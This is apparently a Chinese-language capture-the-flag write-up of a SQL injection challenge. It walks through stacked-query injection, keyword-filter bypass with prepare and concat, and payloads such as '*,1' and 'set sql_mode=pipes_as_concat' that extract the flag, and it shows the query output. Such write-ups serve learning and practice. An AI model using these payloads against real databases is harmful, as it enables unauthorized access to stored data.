让我给他flag,他帮我看一看是不是真的。输个1试
输入不为零的数字都有回显,字母不回显,输入1'试试
其他类型也不回显,说明是整数型,输入union语句试试
似乎被禁了,布尔和时间也被禁了,那就试试新学的堆叠注入,1;show databases;#
1;show tables;#
之后用预处理语句,1;prepare 222 from concat('s','elect','* from Flag');execute 222;#
发现是 from,Flag,prepare被禁了,之后我
1;concat('pre','pare') 222 concat('fr','om') concat('s','elect','* fr','om',' Fl','ag');execute 222;#
然而太长了,不行,最后没办法了,就看wp,发现(来源)
1、由于没有过滤*所以可以直接构造payload
payload: *,1
查询flag
拼接之后的语句为
select *,1 || flag from flag
先查找全部 [0] => flag{fd583590-4eef-4964-8fe5-ecd4ad6411e5},然后在查找1 [1] => 1
得到结果
Array ( [0] => flag{fd583590-4eef-4964-8fe5-ecd4ad6411e5} [1] => 1 )
2、查询语句select $_GET['query'] || flag from flag中的|作用为‘或’,所以可以使用set sql_mode=pipes_as_concat 将|设置为‘和’。
pipes_as_concat:将导致 “||” 字符串被视为一个标准的 SQL 字符串合并操作符,而不是 “OR” 操作符的一个同义词。
payload: 1;set sql_mode=pipes_as_concat;select 1
拼接后的语句为:1;set sql_mode=pipes_as_concat;select 1||flag from Flag
先查找1:Array ( [0] => 1 );设置|的作用,由‘或’设置为‘和’;
再查询1,此时由于|为和查询,所以select 1 || flag from flag,1和flag都会被查询:Array ( [0] => 1flag{720b70f2-99eb-4bc1-a565-c8509799edee} )。
得到结果
Array ( [0] => 1 ) Array ( [0] => 1flag{720b70f2-99eb-4bc1-a565-c8509799edee} )。
总结:对于sql注入题,最好是可以猜测出查询语句的大概,只有这样才能更好的解题。